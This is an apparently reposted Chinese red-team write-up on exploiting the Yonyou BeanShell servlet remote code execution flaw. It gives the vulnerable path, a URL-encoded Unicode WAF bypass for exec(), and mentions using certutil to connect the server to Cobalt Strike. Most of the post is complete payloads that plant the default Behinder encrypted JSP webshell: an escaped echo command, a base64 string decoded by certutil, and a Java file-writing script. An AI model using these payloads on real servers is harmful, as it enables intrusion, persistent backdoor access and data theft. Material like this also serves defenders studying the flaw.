战后总结篇-用友BeanShell接口RCE姿势总结(bypass)

admin 2023年4月6日08:30:14评论187 views字数 3333阅读11分6秒阅读模式

一、前言

在某次攻防演练中碰到了这种“爱情来了”般的历史漏洞,虽说轻轻松松拿下了权限,但还是要保持良好习惯,做个总结记录方便以后查阅。

二、漏洞验证和利用

验证漏洞是否存在,访问/servlet/~ic/bsh.servlet.BshServlet

战后总结篇-用友BeanShell接口RCE姿势总结(bypass)

执行简单的语句,bsh.script=print(1*2),成功执行漏洞存在

战后总结篇-用友BeanShell接口RCE姿势总结(bypass)

命令执行,exec()被waf拦截

战后总结篇-用友BeanShell接口RCE姿势总结(bypass)

Unicode编码也被拦截,exeu0063()、u0065u0078u0065u0063()

战后总结篇-用友BeanShell接口RCE姿势总结(bypass)

战后总结篇-用友BeanShell接口RCE姿势总结(bypass)

对u0065u0078u0065u0063再进行url一次编码,成功绕过waf执行命令

战后总结篇-用友BeanShell接口RCE姿势总结(bypass)

三、常见webshell写入方式

因为服务器出网、没安装杀软且存在waf拦截,我这里就采用certutil直接上线CS的方式了战后总结篇-用友BeanShell接口RCE姿势总结(bypass)曲线救国,先上线再上传webshell

战后总结篇-用友BeanShell接口RCE姿势总结(bypass)战后总结篇-用友BeanShell接口RCE姿势总结(bypass)

下列demo均为冰蝎默认webshell

  • echo写文件

    • echo直接写入

echo ^<^%^@page^ import^=^"java^.util^.^*^,javax^.crypto^.^*^,javax^.crypto^.spec^.^*^"^%^>^<^%^!class^ U^ extends^ ClassLoader^{U^(ClassLoader^ c^)^{super^(c^)^;^}public^ Class^ g^(byte^ ^[^]b^)^{return^ super^.defineClass^(b^,^0^,b^.length^)^;^}^}^%^>^<^%if^ ^(request^.getMethod^(^)^.equals^(^"POST^"^)^)^{String^ k^=^"e^4^5e^3^2^9feb^5d^9^2^5b^"^;^/^*^该^密^钥^为^连^接^密^码^3^2^位md^5^值^的^前^1^6^位^,^默^认^连^接^密^码rebeyond^*^/session^.putValue^(^"u^"^,k^)^;Cipher^ c^=Cipher^.getInstance^(^"AES^"^)^;c^.init^(^2^,new^ SecretKeySpec^(k^.getBytes^(^)^,^"AES^"^)^)^;new^ U^(this^.getClass^(^)^.getClassLoader^(^)^)^.g^(c^.doFinal^(new^ sun^.misc^.BASE^6^4Decoder^(^)^.decodeBuffer^(request^.getReader^(^)^.readLine^(^)^)^)^)^.newInstance^(^)^.equals^(pageContext^)^;^}^%^> > E:webappsh1z1.jsp
    • echo写入base64字符串,certutil解码

        写入

echo PCVAcGFnZSBpbXBvcnQ9ImphdmEudXRpbC4qLGphdmF4LmNyeXB0by4qLGphdmF4LmNyeXB0by5zcGVjLioiJT48JSFjbGFzcyBVIGV4dGVuZHMgQ2xhc3NMb2FkZXJ7VShDbGFzc0xvYWRlciBjKXtzdXBlcihjKTt9cHVibGljIENsYXNzIGcoYnl0ZSBbXWIpe3JldHVybiBzdXBlci5kZWZpbmVDbGFzcyhiLDAsYi5sZW5ndGgpO319JT48JWlmIChyZXF1ZXN0LmdldE1ldGhvZCgpLmVxdWFscygiUE9TVCIpKXtTdHJpbmcgaz0iZTQ1ZTMyOWZlYjVkOTI1YiI7Lyror6Xlr4bpkqXkuLrov57mjqXlr4bnoIEzMuS9jW1kNeWAvOeahOWJjTE25L2N77yM6buY6K6k6L+e5o6l5a+G56CBcmViZXlvbmQqL3Nlc3Npb24ucHV0VmFsdWUoInUiLGspO0NpcGhlciBjPUNpcGhlci5nZXRJbnN0YW5jZSgiQUVTIik7Yy5pbml0KDIsbmV3IFNlY3JldEtleVNwZWMoay5nZXRCeXRlcygpLCJBRVMiKSk7bmV3IFUodGhpcy5nZXRDbGFzcygpLmdldENsYXNzTG9hZGVyKCkpLmcoYy5kb0ZpbmFsKG5ldyBzdW4ubWlzYy5CQVNFNjREZWNvZGVyKCkuZGVjb2RlQnVmZmVyKHJlcXVlc3QuZ2V0UmVhZGVyKCkucmVhZExpbmUoKSkpKS5uZXdJbnN0YW5jZSgpLmVxdWFscyhwYWdlQ29udGV4dCk7fSU+ > E:webappsh1z1_base64.txt

        解码

certutil -f -decode E:webappsh1z1_base64.txt E:webappsh1z1.jsp
  • Java写文件

找web路径

import java.lang.*;print(System.getProperty("user.dir"));print("bc");

看目录下文件

import java.io.File;File dir = new File("E:\U8CERP\webapps\u8c_web");File[] files = dir.listFiles();print(files);

写入(冰蝎默认webshell)

import java.io.*;String filePath = "E:\U8CERP\webapps\u8c_web\h1z1.jsp";String conent = "<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>";BufferedWriter out = null;try{    File file = new File(filePath);    File fileParent = file.getParentFile();    if(!fileParent.exists())    {        fileParent.mkdirs();    }    file.createNewFile();    out = new BufferedWriter(new OutputStreamWriter(new FileOutputStream(file, true)));    out.write(conent);}catch (Exception e){    e.printStackTrace();}finally{    try    {        out.close();    }    catch (IOException e)    {        e.printStackTrace();    }}


原文始发于微信公众号(哈拉少安全小队):战后总结篇-用友BeanShell接口RCE姿势总结(bypass)

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年4月6日08:30:14
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   战后总结篇-用友BeanShell接口RCE姿势总结(bypass)https://cn-sec.com/archives/1655624.html

发表评论

匿名网友 填写信息